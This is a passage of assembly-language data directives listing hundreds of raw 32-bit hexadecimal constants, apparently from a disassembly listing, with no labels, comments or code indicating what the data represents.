		dd 6CE7D102h, 985D08Ah,	75FCD908h, 567D729Ah, 6A70EB20h
		dd 5310E62h, 0D62B75FEh, 800F3D03h, 990E414Bh, 0A84A920Bh
		dd 0BECA29FEh, 0A07D8109h, 757FF0F8h, 75397F09h, 0D7166508h
		dd 0FF12223Ch, 2A750632h, 0F8B81795h, 0C8BA447Fh, 27DC8666h
		dd 1766ECB0h, 2D6BF9A4h, 7AD8F713h, 0C9507E2h, 0EB74598Eh
		dd 5E586E60h, 29641D5Dh
		dd 2C316995h, 442D3556h, 844484A0h, 0E9834990h,	7A88FD6h
		dd 0E746666h, 21654383h, 2B4D100Fh, 0BE933357h,	5F6F4826h
		dd 201AF273h, 5EF66602h, 0D118DE10h, 0B120C65h,	58039080h
		dd 1301683h, 0EB4E081Ah, 0DC89E751h, 99FEF0Eh, 2C5E121Bh
		dd 9B5182E4h, 86F617CEh, 9CA8DFA8h, 16A527EBh, 8B34E011h
		dd 47E48D96h, 6604F10Eh, 0FBE4025h, 8124F0BFh, 344A26EEh
		dd 892D18AAh, 1F15F330h, 0FE7D4D9Bh, 262C4438h,	0DB291B0Eh
		dd 77490FE2h, 2F758B09h, 23C84480h, 4DD569B5h, 843B0BF5h
		dd 6DE40E10h, 67E4477Bh, 2DAAF419h, 0A74C2E0h, 682DDB12h
		dd 5D9FE35Dh, 0D939B93h, 0D810B510h, 7C839112h,	6CD61BD2h
		dd 124DE949h, 714D442Dh, 0DEE81F72h, 1DD8DAF1h,	0EBFC8450h
		dd 814A19A2h, 0A4E12CD0h, 0E8097F0Bh, 11E35DAEh, 18FED88Ch
		dd 0F05C19B8h, 5E921Fh,	7F09E855h, 0DC99C8A3h, 4D9BFF75h
		dd 186D0637h, 0E71EE8F6h, 5D705820h, 53946B16h,	855EB597h
		dd 421814A1h, 8793D2FDh, 0F8ED8F59h, 29FB7C7Bh,	503610C4h
		dd 0C3D01338h, 7E52FBE9h, 0A14BA3A2h, 821C307Fh, 7490C85Fh
		dd 25745965h, 785E462Ch, 0FE324A5Bh, 0DDAA1505h, 0EB280EFDh
		dd 0BC599D0Fh, 751E90CEh, 300D8DD4h, 49B02B57h,	0E7467B0Eh
		dd 0C1F6BFD7h, 0B03EF30Ch, 1B95F366h, 0A915FA8Eh, 875BFE1Eh
		dd 4FCA3A0Ch, 148861Eh,	0F46D3D40h, 2AFD0F24h, 800D1950h
		dd 34656CF9h, 699D450Ah, 7720ED56h, 7B38F648h, 98FA7430h
		dd 13017A14h, 0AA40118Ah, 1688A40Ch, 0C24EAAF6h, 92A2C5EBh
		dd 0D4C0A972h, 5FA5D28Fh, 7416E628h, 5342BF1Bh,	443D30E8h
		dd 27A59EF1h, 8890C60h,	0F57729B5h, 449D51F0h, 1B42522Ah
		dd 0CDA6A09Fh, 0A43D8017h, 74C46DBCh, 1AD9EC27h, 421BA0A1h
		dd 1D65CC4h, 0C19F0FDBh, 83148551h, 8DC72D38h, 1C70394h
		dd 0E4E7E8C2h, 3806A0A3h, 2074998Bh, 1475918Ch,	6C6C5096h
		dd 0A19D565Eh, 50014390h, 3E839241h, 726863BBh,	0D0038E41h
		dd 0F972CA4Ch, 149B76B9h, 65F94C35h, 6278C638h,	147E3C40h
		dd 8D570D48h, 88247874h, 5EC94408h, 7016365Dh, 0BA206824h
		dd 950D388Ah, 0C81C7948h, 0D482CB98h, 359B92B0h, 14FD147Dh
		dd 0C609261Fh, 0B2704501h, 8F274148h, 45E203Ch,	3205794Bh
		dd 2D28DBF7h, 64FB9240h, 43117C2Dh, 5E99B08Dh, 0BEFE48F7h
		dd 0E1B146Fh, 2F21DAFBh, 0DB46BB0Ah, 8D52D598h,	1297ED5h
		dd 10C9B47Eh, 96575624h, 21A8A10Dh, 1CA7832Fh, 0E4435A2h
		dd 49CE509Fh, 3E210847h, 0CD3B8FA0h, 30C1508Bh,	1D665CBDh
		dd 2BDAADEBh, 223E0BA5h, 646ADE3Ch, 446400Ch, 0B91C303h
		dd 2C5696Fh, 453BF778h,	75FD8102h, 45C607h, 0D2017D8Dh
		dd 24DEF84Fh, 5706C910h, 809C8CE8h, 7407C691h, 12475C30h
		dd 4AF80312h, 1116411Dh, 1BA02476h, 7885941h, 477B0E2Fh
		dd 7DF685E1h, 60AF5D28h, 0DE19F715h, 3B0806EBh,	0C7F7CD9h
		dd 495A5378h, 306AB98Bh, 0A9171289h, 7F9B12FDh,	7197E64Ch
		dd 7D24BE83h, 220744B3h, 0A38BA5E3h, 9FAD824h, 0CBFA4900h
		dd 0F3A80D24h, 5089E96Ah, 8BEB3053h, 0E85619F1h, 9A14F45h
		dd 542A97A0h, 1E0F2739h, 5488C19Ch, 400B3DACh, 2D024804h
		dd 1582A3FCh, 2340217Ch, 0CA9A1D7Dh, 7E070A58h,	0F98E0395h
		dd 53FEB120h, 2FC3B92Fh, 0C64ADC41h, 14521C10h,	93082112h
		dd 2AF7C910h, 52C6E4F4h, 0BD4ACE05h, 2267B2F7h,	0E69B2580h
		dd 0C275740h, 0FCC53D87h, 0FE5248E8h, 0F1EFDF23h, 0C10968Ch
		dd 450D3246h, 66882CECh, 0E9136975h, 0FED439FFh, 0E57DEF09h
		dd 88161852h, 11EB8AE2h, 0FCED7813h, 41029A1h, 3283BDEAh
		dd 5F1AD685h, 0E83BD92h, 321FAF43h, 34C5040h, 544816F7h
		dd 515E24B7h, 3EB0765Fh, 20BF577Eh, 19930505h, 56C13E39h
		dd 0DF458EE8h, 41365A3h, 7E5FB066h, 6FB2C3EDh, 1C8C87h
		dd 0FF6A6975h, 0A665652h, 0D6030EE8h, 7D56EB63h, 8150803Eh
		dd 73633804h, 81AFE06Dh, 5147852h, 73096812h, 23F05749h
		dd 25551D40h, 0A2FF5224h, 5F561C5Ah, 0C02C85E5h, 2074D118h
		dd 181F52EBh, 2C240665h, 0A48E81Bh, 0F920C959h,	52312DBEh
		dd 800C0118h, 4098F42Fh, 0D6B8085Eh, 0D07CF085h, 413B180Dh
		dd 54A0478h, 53B14AEFh,	0BB088ABEh, 0E0C34880h,	3F850F1Eh
		dd 7E64259Dh, 563F9DA8h, 6875A158h, 96BE1651h, 0B008084Bh
		dd 1BE8C9A7h, 0B4B4A111h, 85E1D01Bh, 0EC37BE47h, 3B19E881h
		dd 555FF67Fh, 46ADA000h, 0E78EF970h, 0C8860B08h, 0DBE4703Ch
		dd 0D1451476h, 4A5C45AFh, 0F07D8B61h, 3A70F37Bh, 0E35729FCh
		dd 3F49189Fh, 8BCB98B4h, 2C5EBDD8h, 7A0FBEBFh, 7FD131A3h
		dd 47BF47Ch, 8BBF77EAh,	0BB2CD652h, 10CF184Fh, 0E2B57EF4h
		dd 403F859Ch, 47886C1h,	24124CA0h, 122A7EF8h, 37270976h
		dd 3B3BD911h, 9F1A3B28h, 865D2B62h, 333E395Eh, 0F416E17Fh
		dd 104A82DEh, 0C2F434E5h, 0FE245EEBh, 200D3958h, 2A35AA53h
		dd 56596081h, 2C110202h, 0E9A554h, 0E914C304h, 1555BF69h
		dd 54F648DDh, 6025E80Ch, 591C2905h, 0D015206Ch,	6994A88h
		dd 56475BF0h, 0D5EB0FA7h, 0B1A1B2E9h, 3D13BD73h, 92C825B8h
		dd 35B1217Ah, 79B63A18h, 0D4B21A9Eh, 73711977h,	36F4FEADh
		dd 1B6224ABh, 0CF031B3h, 4F733AF8h, 437C3E8Fh, 7F7C0E33h
		dd 1671B9F3h, 1983104Eh, 5AC2A403h, 65768F4h, 8793880h
		dd 83BBD04Fh, 6BA4F0C0h, 506F859Fh, 53206F78h, 0E742EA01h
		dd 0EB14C605h, 0ABD413A9h, 5E7493E6h, 4A66F447h, 8A788031h
		dd 0CAD3508Dh, 428D7E41h, 0A178044Eh, 0C0984295h, 27E85260h
		dd 38FEA83Dh, 6F622C0h,	0EA0FB002h, 0AC4AD707h,	14389D4Eh
		dd 670F01A8h, 309D090Ah, 0B8B30ED2h, 9A03892Bh,	0D30DFADh
		dd 0E4871828h, 0DEED640Ch, 2FF97339h, 2652E475h, 5574AF80h
		dd 7EC0C0B5h, 9977F405h, 2D171ECDh, 0A183FE46h,	0F0444814h
		dd 7F0C89A5h, 619758FAh, 0EB3E5A96h, 93AACF35h,	2FF3ECE5h
		dd 93B2A55Bh, 93A01341h, 37A4D055h, 0B7F03418h,	0A5EBA6EBh
		dd 7C3478C6h, 0BD0D4E64h, 54F3D31Ah, 9A7B370h, 71C00374h
		dd 44853E9h, 360DD2B9h,	8297C220h, 5111E21Ch, 7A372202h
		dd 92103F91h, 2C554BD2h, 39149CBh, 10E84657h, 4D5DE8F8h
		dd 74D86A42h, 6F603612h, 0FF05E857h, 0F1462396h, 82726C2Eh
		dd 8E894028h, 0C73E586h, 49101E4Ah, 2521139Ch, 570718E8h
		dd 0AECBC9A0h, 3CFC5ED6h, 0F1838E1h, 0D7C91CC8h, 3BD40C11h
		dd 5EDCCF92h, 0EB4E9294h, 450B1C13h, 20C7130Dh,	0B443E412h
		dd 178FE025h, 27153DEAh, 42150F28h, 6ED5FC5Dh, 0A466B153h
		dd 22F0AF1Eh, 64AF1526h, 41A9A56Dh, 3CE8093Ch, 0C93F5DD9h
		dd 6422F52Dh, 0D4E61668h, 0F49527B8h, 3697BD5Ch, 1931BFB1h
		dd 9244CFEBh, 0C2EE8F26h, 4689D878h, 0E42A67D8h, 0E0FC7FA3h
		dd 817E41F1h, 8B0E283Fh, 0B0A25027h, 0EC217E3Ch, 2897B914h
		dd 0C5395112h, 0A8113F9h, 0E80E74D4h, 0FB95A454h, 1F1973Bh
		dd 9DD45DA8h, 831975F0h, 136D7867h, 0A8DD1EEh, 3C88351Eh
		dd 3649E527h, 4B659550h, 412FAFF0h, 75994904h, 4CE9C3A4h
		dd 7A8B6B14h, 6045842Ah, 7C16E839h, 3F29B210h, 17E0CCF6h
		dd 92BF8B44h, 88C076F0h, 0F6973612h, 304E4CF8h,	57BF5A8Ah
		dd 1E22121Ch, 5EBE6ABFh, 25141688h, 97120A2Bh, 0E9226CC1h
		dd 131B45FBh, 0F311364h
		dd 5D0A521Dh, 1073104Ch, 0E4A335C6h, 0B9D06284h, 0E016D212h
		dd 2C4F146Ch, 0B3B04EBCh, 867E3F74h, 0BE850F04h, 78B2833h
		dd 30B44523h, 561908BCh, 183497EBh, 7556B0C2h, 6EE82B3Ah
		dd 588C9446h, 74E378C8h, 34A9417Eh, 84FA7F03h, 5C674A25h
		dd 66EB4360h, 28B134D2h, 42364256h, 0FA485214h,	0CA0E5028h
		dd 1DC53B1Bh, 401C5A04h, 50142A7Eh, 36B32347h, 47316447h
		dd 1FEB94ACh, 87991A58h, 5932690h, 990153C4h, 0D45227A9h
		dd 4C4B92BFh, 0D442DFE9h, 0F60C4B1h, 2933518Eh,	74AB51F9h
		dd 884B381Bh, 20119204h, 70FF51AAh, 0ABBDEAC6h,	696285D2h
		dd 45381D00h, 95760F0Ch, 157767A9h, 0F34F42BDh,	80013D1Bh
		dd 0C6030451h, 5C7CD285h, 3236200Dh, 0C3F229Eh,	16CAB90Eh
		dd 3DAE5EC1h, 35E43BF0h, 0C7F99D51h, 0B255FD4Ch, 1F4891C0h
		dd 0CAE84B6Dh, 3A95B428h, 0E3D0D037h, 29655DDDh, 30ABEB5Eh
		dd 0B9057592h, 18B40252h, 5D45A8E8h, 0C286A059h, 47DEAE0Ch
		dd 0CD21E470h, 8C3EBCA1h, 0A9B116CDh, 7EBD041h,	1F412727h
		dd 34409F33h, 33D024E9h, 4A885134h, 0A2A4B056h,	54D98543h
		dd 6938F37Ah, 0B61AF778h, 1957497Dh, 635FFE2Bh,	35BFD796h
		dd 58CCBCF4h, 9137E24h,	800938EBh, 93ADDE27h, 48E6AA1Fh
		dd 0D39FD558h, 98AEE9E5h, 0E1B60F4Eh, 0EB129C2Ch, 3668AE11h
		dd 35799F8Ch, 6BA5F69h,	4004EC57h, 4086AF61h, 4084A67Ah
		dd 248C9EE8h, 4255FB81h, 45D5287Dh, 5302802Fh, 0FFCFF6E8h
		dd 58200FE3h, 3A9024Bh,	42746B88h, 1FC4A0Eh, 0E5577CDAh
		dd 1712D02h, 3C8FC10h, 0FDBF0B49h, 0E657A21Ah, 10562108h
		dd 20E8A944h, 0E909FC4Ah, 1962BF2Ah, 2D50E4C4h,	7412EB65h
		dd 8A0DA2D5h, 324A5006h, 0CC0AC084h, 9E18CC0h, 0D8ADFD9Eh
		dd 360BDAEFh, 10F44775h, 0CF2E83C0h, 0C0688CFFh, 9B409F8Ch
		dd 0CAC6FF36h, 94E68D57h, 0A250B1Eh, 6C3511Bh, 46461163h
		dd 25169601h, 94FC32B1h, 12320EE5h, 0EE922C9Fh,	253E8017h
		dd 8D92D05h, 22CB9023h,	0E944E809h, 12F189F2h, 0F96357EAh
		dd 86FB0C25h, 4006E40Ah, 0C60CF4E0h, 0E01F345h,	5E8AC8D0h
		dd 0D1915627h, 0CE910004h, 9D0BE3FFh, 0F403B722h, 0BB9FFFF4h
		dd 43428CDEh, 0A0D0D0h,	0FB8365EBh, 743E7F4Eh, 2A0E5E65h
		dd 46F1A9E1h, 0AA554E9h, 0A305DF4h, 6737754Ch, 30EBC8FEh
		dd 36017E80h, 0CC52CF6h, 28C73402h, 7C232C4Fh, 0DD589FD0h
		dd 268344BDh, 334BF08Bh, 22ABF246h, 74685A0Ch, 0A16C0A17h
		dd 43317737h, 0EBF12886h, 6DF790Eh, 0BC063EBCh,	80E0414Dh
		dd 0F7C5A27Dh, 143466D1h, 9BBCD313h, 0D08AAA72h, 83BC0D28h
		dd 0E60C04C0h, 0D49191F5h, 0A07DEA4Ch, 901475E4h, 533C3788h
		dd 0A143459Ah, 8878AC1Ch, 76ED0414h, 0CE84015Eh, 8333CA01h
		dd 0FECC20CEh, 0C482C36Eh, 103A2874h, 0A14B363h, 6A0FD27Bh
		dd 0D2917DACh, 4B44DEB5h, 701F0B6Eh, 0E76517Eh,	0EEECAE96h
		dd 32E08448h, 828BF40Ah, 66C92A7Ah, 5EAC826Fh, 0A1E0C02h
		dd 63330542h, 22FC2C12h, 4F80364h, 6A8E3115h, 7E670C0Fh
		dd 0B8690A38h, 9BE3D4B6h, 45025711h, 0FD1B7ABCh, 318F864Ch
		dd 6A0B21E9h, 5D457064h, 0FB326EB8h, 287E422Dh,	1E90EA8h
		dd 85137A4Dh, 3CB58D2Bh, 3682E1F5h, 9D880E75h, 3D220B8Ch
		dd 950438Ah, 17752B26h,	0E84255ABh, 0E857A721h,	0A891BFCEh
		dd 66C6AAD8h, 732F03EBh, 9DE07083h, 0F426D972h,	7E979D5Dh
		dd 945C8B8h, 4884533h, 54CCB108h, 2142DCA4h, 1715A86Ch
		dd 88E4B0C1h, 5E52461Eh, 0BB121C70h, 0B7B41D38h, 29665775h
		dd 0F7235C2Ah, 0D3212A0Dh, 2A420688h, 0F36E9E46h, 1E02F20Eh
		dd 24E4C981h, 11E18E63h, 0D24665FBh, 2545480Ah,	1C1FE55Ah
		dd 0C6147639h, 8F376506h, 2DD530CBh, 5757562h, 98468684h
		dd 2CAC1E27h, 0A52128C9h, 2D480FACh, 1B55CD9Eh,	0CB9C10A7h
		dd 918512E8h, 4C989008h, 725E99A0h, 34A28DA1h, 0F6A40466h
		dd 3DC9905h, 15674DA0h,	26D5CC50h, 0B41214AEh, 0BE0F5082h
		dd 5040C862h, 899D48D4h, 360BFFA6h, 2944F4F4h, 0EC525652h
		dd 355248EEh, 9D5210C7h, 697EB632h, 0BFF4EAA6h,	0E94DC6B0h
		dd 0F4952B0Bh, 0B8701800h, 0E6BD02A3h, 5EF7F3CDh, 96DEE451h
		dd 0C34B11ACh, 26135186h, 3FD72474h, 32A73B26h,	85293FFAh
		dd 8A61EB2Ch, 87A604C3h, 8F1D2620h, 6274B8E9h, 0FED58BE3h
		dd 3F808E20h, 0A74ACE5Eh, 40C72711h, 9199E9AEh,	5532A867h
		dd 5E31ED22h, 6304423h,	0EB01F15Ch, 0C40E1159h,	368B0568h
		dd 7430FB19h, 32865445h, 0FF324E1Ah, 743B688Ch,	58102F67h
		dd 0F3C72A54h, 0CB7FDCDBh, 6F0A1E58h, 2F16E95Eh, 3A283B6Ah
		dd 5588384Ah, 5B30056Ah, 7201FDE9h, 59260945h, 6A85C18Ch
		dd 23CFEB78h, 0A6A8C810h, 0FFE809C5h, 5FE1705Dh, 8BD81E9Ch
		dd 1E46980Eh, 7B587D74h, 5DC6401Ah, 0B27409EAh,	0A7564762h
		dd 8AFE6020h, 0B1CB5B55h, 5F74F8E3h, 36B04775h,	7F077AB5h
		dd 57D0973Dh, 473620C0h, 7C73D13Ah, 0EBC13304h,	0AFB7C208h
		dd 2177D082h, 80D23341h, 0F22BF006h, 0E4CA8B46h, 0D702BDC2h
		dd 0EE7501B3h, 429C4072h, 0BE754E3Eh, 0B4EB9832h, 158AC844h
		dd 1FC18BD0h, 0A49BEBE1h, 18899ECh, 0E85A104h, 0C9D68903h
		dd 89E644FCh, 582D6C1Ah, 0E8D0175Eh, 0E5144FD4h, 940EC948h
		dd 3A599743h, 1A6584A4h, 0F5AA3D12h, 7E3240C9h,	6A32C88Bh
		dd 605ACB01h, 30E85D2Ch, 0C11CE2D3h, 16C003F9h,	339C0D4Ch
		dd 0D18509CBh, 0CF106074h, 0CCC5275h, 944194EAh, 45886191h
		dd 5F312CC8h, 0D2C6FF3h, 0DD03C600h, 0B2C92ECFh, 0EE2B25FFh
		dd 0C2086E59h, 69BC2B20h, 0ADA82E2Bh, 42FF25E1h, 41146210h
		dd 1A6503BCh, 77D49E02h, 72CF2DE4h, 85C0AD0h, 6BD14D12h
		dd 390803A3h, 0A507BAA2h, 0CE94B928h, 0A2027F21h, 45E3B2E6h
		dd 97860972h, 0CCECD4A0h, 0A208313h, 321260A6h,	0BAE65811h
		dd 0CA01F32Eh, 0E40675C2h, 938098C6h, 31AD84Eh,	3A4CEF91h
		dd 0E44D92D0h, 0F15DA101h, 24E3E993h, 753E8189h, 0A4952C4Fh
		dd 208D89FAh, 0C758FC37h, 510DC8A0h, 22174525h,	14E6A355h
		dd 552CD873h, 5905C7DCh, 0F446BFE8h, 0E71E8953h, 27DC207h
		dd 53964EE5h, 43B0EC6Ch, 0A5DA3C7h, 15756FF0h, 7D3805B8h
		dd 3503253h, 17566F04h,	0B488FF39h, 0D806C2DCh,	60D6BEE8h
		dd 112C6021h, 0D0438D87h, 411A01F6h, 5E50C11h, 24AAF0ABh
		dd 5C36E4B9h, 0D59DE97Eh, 0FF14CA89h, 20023921h, 84E940EDh
		dd 3CBBDC57h, 95E0DF4Dh, 0AFBCE1D1h, 1AE3D93Ah,	8A84C4E9h
		dd 0CB2230Fh, 700A3F74h, 0C5AD3AEAh, 74C6EB88h,	0A217642h
		dd 0E7C16C00h, 0F3FEB03h, 0D1BF3C8Dh, 4E48FF1Dh, 0C643AEA8h
		dd 533774B0h, 0E8856CDFh, 0BB290144h, 0DA20E414h, 571F7C8Dh
		dd 5884DED0h, 875C2C01h, 50015B88h, 0F7280274h,	465F8CDFh
		dd 0CC5C39F3h, 6113CECEh, 3329755Ah, 48D03256h,	456E5610h
		dd 22D0ADD8h, 10EB32DCh, 6266F33Eh, 3038F9F7h, 0ACF66AEh
		dd 58F29DFEh, 824DD0Ch,	0E1EACC42h, 0C47754E1h,	3BC98100h
		dd 24FBA7C3h, 0A8F2550Bh, 18146293h, 2CC2B719h,	50CA0E28h
		dd 3E1525C8h, 5DE6699Fh, 2A782262h, 457CF2FDh, 6E1FF7ACh
		dd 0F052449Eh, 69506CEDh, 0AF64E56h, 0C9C7305Ch, 569C4AFh
		dd 8B4AE746h, 0D84934FFh, 1DD07D26h, 0FE738B18h, 11A5EC0Bh
		dd 0FECC9ACBh, 0AC3894AFh
		dd 41F7B24Fh, 1CB76AB9h, 560B7657h, 90D4107Eh, 85990447h
		dd 5BA6C515h, 34F72169h, 0EE379833h, 253090E6h,	0E3FE07EEh
		dd 37E85F25h, 78E64AFFh, 0A4E097Dh, 829D6CBCh, 0FFE852C3h
		dd 8343815Ch, 7435177Ch, 4828BF0Fh, 88284BF0h, 4FA15632h
		dd 6B226A57h, 0C4A16306h, 2E1EFA12h, 98FB8612h,	7495E7D1h
		dd 2283C7A4h, 59F25324h, 0A06CEB27h, 0F46FBC7h,	0ADA36F8Ch
		dd 0D8A5BFEh, 14978FE1h, 340830FEh, 0A951D4BDh,	0E8073B9Ah
		dd 985AC3F6h, 7E02FF80h, 60E84601h, 0C38B9FF3h,	69FC4B8Dh
		dd 0E56DC024h, 0D82DA5ACh, 0F859A007h, 86D14803h, 0C2ACF03Ah
		dd 8D1C022Eh, 0BFFE400Ch, 112E446h, 3CC96BC8h, 40184D03h
		dd 0A8F00D06h, 0D04F96C9h, 0EC015F57h, 8D8740B6h, 80118C03h
		dd 0E57C5581h, 20343DF8h, 508FB82Bh, 45D2F424h,	4571B0BAh
		dd 7062DC48h, 9A192B5Ch, 68B493Ch, 7DF87891h, 65B8C14Fh
		dd 0A35F4E94h, 30A892DAh, 881BFD4Ah, 897549BCh,	34105F8Bh
		dd 1DDEAEE9h, 75EA0192h, 0D704FA02h, 0C5561759h, 7B52EF83h
		dd 6BC98A1h, 0E82D1040h, 0D3C1668Ch, 6C312248h,	6706C85Fh
		dd 4567F8Bh, 7582C2F6h,	0C5BF834h, 22F98357h, 0C1D5F314h
		dd 0E5E457DAh, 0BBBD3C21h, 0BF42CFA0h, 44F8A00h, 82E1805Fh
		dd 5CCFF9E6h, 0EECE0D06h, 7E817285h, 0FF3FF518h, 8A4E6832h
		dd 0F0E977C1h, 80101CC5h, 486A0E8Bh, 526FC7D1h,	0C9FA8512h
		dd 0AE872FE6h, 99BA0934h, 77DA05B6h, 18D7FB9Bh,	0BF353BFEh
		dd 0C54F6AE6h, 1FE60331h, 0FE6BC57Fh, 6BF96117h, 7367BF92h
		dd 508AC6F1h, 0FDB089EAh, 219EF304h, 329BF865h,	0DE9E9E7Dh
		dd 0CBA3CFEEh, 7502300Dh, 0F42E0A62h, 54E402Ch,	162095ECh
		dd 6AC6105Bh, 14F2F86h,	0C6010DD3h, 0A053044h, 70F4E2FFh
		dd 0B82ED74Fh, 303484F6h, 9F55FDAFh, 85FC3A97h,	59056AC2h
		dd 77ED0F5Dh, 89B260FCh, 1514E063h, 16713EE9h, 7EC6DF8h
		dd 5090358Fh, 0B4561B3h, 0B04926F1h, 0F4C0833Fh, 0AB543BC7h
		dd 8A043006h, 5EA8E8C8h, 77111A80h, 93D8755h, 0E10A3FB2h
		dd 0E2600C0Bh, 0FB240802h, 5E3D0188h, 1061C6D7h, 0CABBC803h
		dd 1CEF14E8h, 20D222CBh, 1A3C8A06h, 7EAE4568h, 0A00B0DA0h
		dd 0C6FF47B6h, 1F91E928h, 0C5394928h, 45187334h, 9212C6EBh
		dd 12C09490h, 0C65EEB02h, 470D3707h, 6673958Bh,	12D759CCh
		dd 1193C4BFh, 0AA2D1D5h, 47152D33h, 41741468h, 0A8AD5195h
		dd 8A133520h, 17204C5Ch, 0B008B8Fh, 31448847h, 4829EB05h
		dd 753E483Bh, 0FF37855Ch, 0D42EDDC8h, 9CDC18EBh, 0E842DCAEh
		dd 82336C4Fh, 89CC21Ah,	93A2C078h, 0D9820F3Ch, 54B7586Eh
		dd 0F4A9745Eh, 11933106h, 0E18802E5h, 0EF8EA42Bh, 4B0EF627h
		dd 9F7CA9FEh, 3B538430h, 93EF0548h, 3F73770Eh, 8B13C8D7h
		dd 23AA5512h, 28943C57h, 1231810Fh, 0E9664056h,	6B329E18h
		dd 504ACB08h, 0F3B24FEBh, 46FC184Bh, 15D3B093h,	0D9FEAC4Eh
		dd 79B72FF9h, 0BD1D0988h, 0F1619722h, 4DB42A07h, 0FF8D55FDh
		dd 9B5AC3EDh, 57902CD2h, 0E9BB9395h, 853E1077h,	9A1FBEAFh
		dd 1075035Dh, 0E8301118h, 0AB769F41h, 90AFC365h, 578B5B6Fh
		dd 0F70C66F4h, 0EE0108C2h, 447092Bh, 99112E9h, 1DD36A07h
		dd 63D9FAD8h, 0F0684A87h, 2BB82949h, 0C128DEFCh, 0E358DDFAh
		dd 95141050h, 0DA03D890h, 28748004h, 0D03BD1F0h, 0A422733Ch
		dd 0B3286F3Ah, 0EB422DA0h, 0BE62F16Fh, 68EF12D3h, 0C150E907h
		dd 0FC4F7D08h, 46BF5CF5h, 0F67FD04Eh, 0FB9A0C47h, 0F6F52D97h
		dd 0C4D21130h, 8552132h, 0C12B8B92h, 3D728A8Bh,	0A0B8C64Ah
		dd 0E3C906BCh, 9DA5776Ah, 0E8CB02FFh, 0C2B2FE7Fh, 1DABC00Fh
		dd 72B02A5Ah, 73128B91h, 8B38FB0Ah, 8740C86Fh, 65200D47h
		dd 0FC2F0A34h, 384D1132h, 70226B8h, 4C423966h, 4F2C3477h
		dd 5D0564EEh, 0D447C272h, 67D23E9Ah, 3E421E68h,	0ED290664h
		dd 0B8F8373Bh, 77C10362h, 0B75EB03Ah, 0E5A7A816h, 54F0AAE4h
		dd 730092C0h, 0C03AFD75h, 68535BE6h, 0BE63A067h, 9E95520Fh
		dd 0F794D809h, 89284E66h, 0EB20241Dh, 9842C222h, 1CA443B1h
		dd 1A0D3590h, 44445922h, 90A42013h, 147D0B39h, 30FF107Eh
		dd 9F3CD74Eh, 0F545A191h, 0BD1E44A1h, 621D2DC8h, 0F22CDC0Fh
		dd 9D764912h, 6F5ADD49h, 2045D354h, 0DCA132C6h,	0B47ADE6Bh
		dd 0B2F24E8h, 0D1B224DDh, 48FF2F8Bh, 9964153Eh,	64C0A582h
		dd 0EDB6DF3Bh, 8BFDD46Bh, 1FFC1B04h, 0E803241Eh, 8CFF9455h
		dd 0C432CBF9h, 0BDDCDC84h, 8AED1344h, 7D2E338Ch, 72E612ABh
		dd 748BD0DEh, 0ED55F866h, 44A36249h, 68F5A258h,	481BF24Dh
		dd 4B94C4A6h, 0E2708Bh,	74F73BD8h, 0D45F632h, 40667890h
		dd 44F21C7Eh, 0D6A03BB2h, 0DBAC1E7Fh, 222A338Fh, 47D38FE6h
		dd 658D1C02h, 0F2377EC8h, 0B4C82776h, 0A1843611h, 74DC6293h
		dd 90B42135h, 0DB25B712h, 0CFDB336h, 56B474DFh,	68AFE4CBh
		dd 909C748Ah, 13B0B4A0h, 6EB08C5h, 16528D66h, 0E3022068h
		dd 38151487h, 9BA9D7C0h, 0B3217127h, 3E6CE9C6h,	0E4EC8535h
		dd 0F3CCBF4Bh, 164CB188h, 2E70ACF0h, 57A72564h,	256A4E26h
		dd 0F33BF4C6h, 9564214h, 50C0B8D2h, 30390A20h, 3AB07274h
		dd 0B03D4286h, 7C271AA3h, 31C65FF1h, 0C0BE986Ah, 285524C6h
		dd 9EF406Ah, 0CB80BF59h, 0E87DF520h, 51A88901h,	0AA4CABF3h
		dd 0CC841046h, 0EF860F0Bh, 0EE6F9A44h, 81BBE814h, 8AEF4D8Dh
		dd 28D2E911h, 0B696DD89h, 0E908EE1Bh, 87FCC23Bh, 8826A093h
		dd 48BCB81h, 29EE2005h,	8D928453h, 0FAEC5234h, 41E694Ch
		dd 0D09E89AAh, 3B50B252h, 7406CBB8h, 1518A2Ch, 0D025EE8Eh
		dd 0B73867Eh, 77C73BFAh, 0FC7D00FFh, 0C5B8928Ah, 0C900843h
		dd 76284047h, 0CE41F538h, 7517FCACh, 2C81E2D4h,	484E908h
		dd 661EC172h, 0A37C15C0h, 50148D52h, 0E885ADA3h, 0B69921C6h
		dd 0BF798CC4h, 0E2A52170h, 0BCA35259h, 55EB3178h, 78FF7983h
		dd 54EA4A2Ch, 0A2469FA1h, 3D2D9348h, 0F1723321h, 90EF3856h
		dd 0A555902Dh, 41FB9010h, 4CC3040Ch, 0EB02AB4Eh, 1D390D09h
		dd 70E0ABE4h, 742E978Fh, 2398B2A9h, 0AF9403EBh,	8A25E27Bh
		dd 0FE935622h, 0E7989B1Bh, 25FFC1C8h, 2B6B23A0h, 9C4415FDh
		dd 0F608235h, 1A8537C6h, 2D254A22h, 740240A4h, 0E8833D22h
		dd 57FAC74Eh, 480CA20Dh, 0B84787F6h, 120CB2F8h,	1108E21Bh
		dd 52BF211h, 69E84009h,	0AA2B6D57h, 0BA18A9B5h,	0DD43C6D2h
		dd 0E67FC445h, 5141057h, 7449AA4Bh, 47E81AFFh, 6B16910Bh
		dd 884D187Ch, 0EC052E84h, 383A8D3h, 8AF472C6h, 85B2F245h
		dd 84200E82h, 571303FAh, 610B558Dh, 0E87C63B6h,	5F77C13Bh
		dd 0BC24E01Dh, 0B8412BA8h, 0FF032069h, 8509B912h, 0B9B913FFh
		dd 8AC542AAh, 6A81FFCDh, 5B5FD075h, 88E8B26Ah, 9EA0DFAh
		dd 2E7B098Eh, 132D34ABh, 2582F88Ah, 0BC187758h,	258AFDECh
		dd 1F77561Eh, 0E84335AAh, 248144DAh, 0FBC985FCh, 442822A4h
		dd 0C42C83B2h, 0D0B8C35Ch, 8B2D6673h, 740E0211h, 0AFB4C16h
		dd 5948A10h, 90913E65h,	1CEB1880h, 46740236h, 30202110h
		dd 80E3EBB9h, 211DA051h, 503D2182h, 49EBBF01h, 26A81693h
		dd 1964417Eh, 0ABC45A0Ah, 0C9C84C63h, 0E5EF20C1h, 321F4A4Ch
		dd 13723061h, 0E777A0Ah, 3CCE4FACh, 0E0EBA5E9h,	2F974D66h
		dd 0F7255EBEh, 17A55CB4h, 0FD2D0375h, 0DD242CE8h, 0B408FD59h
		dd 0B4FEE9CCh, 2E127C45h
		dd 12895ED3h, 8D117506h, 2CB03E79h, 9819BD9Fh, 7DC26A63h
		dd 4F34D056h, 8A4BA03Dh, 0E04A0125h, 0B186F6A9h, 7888075h
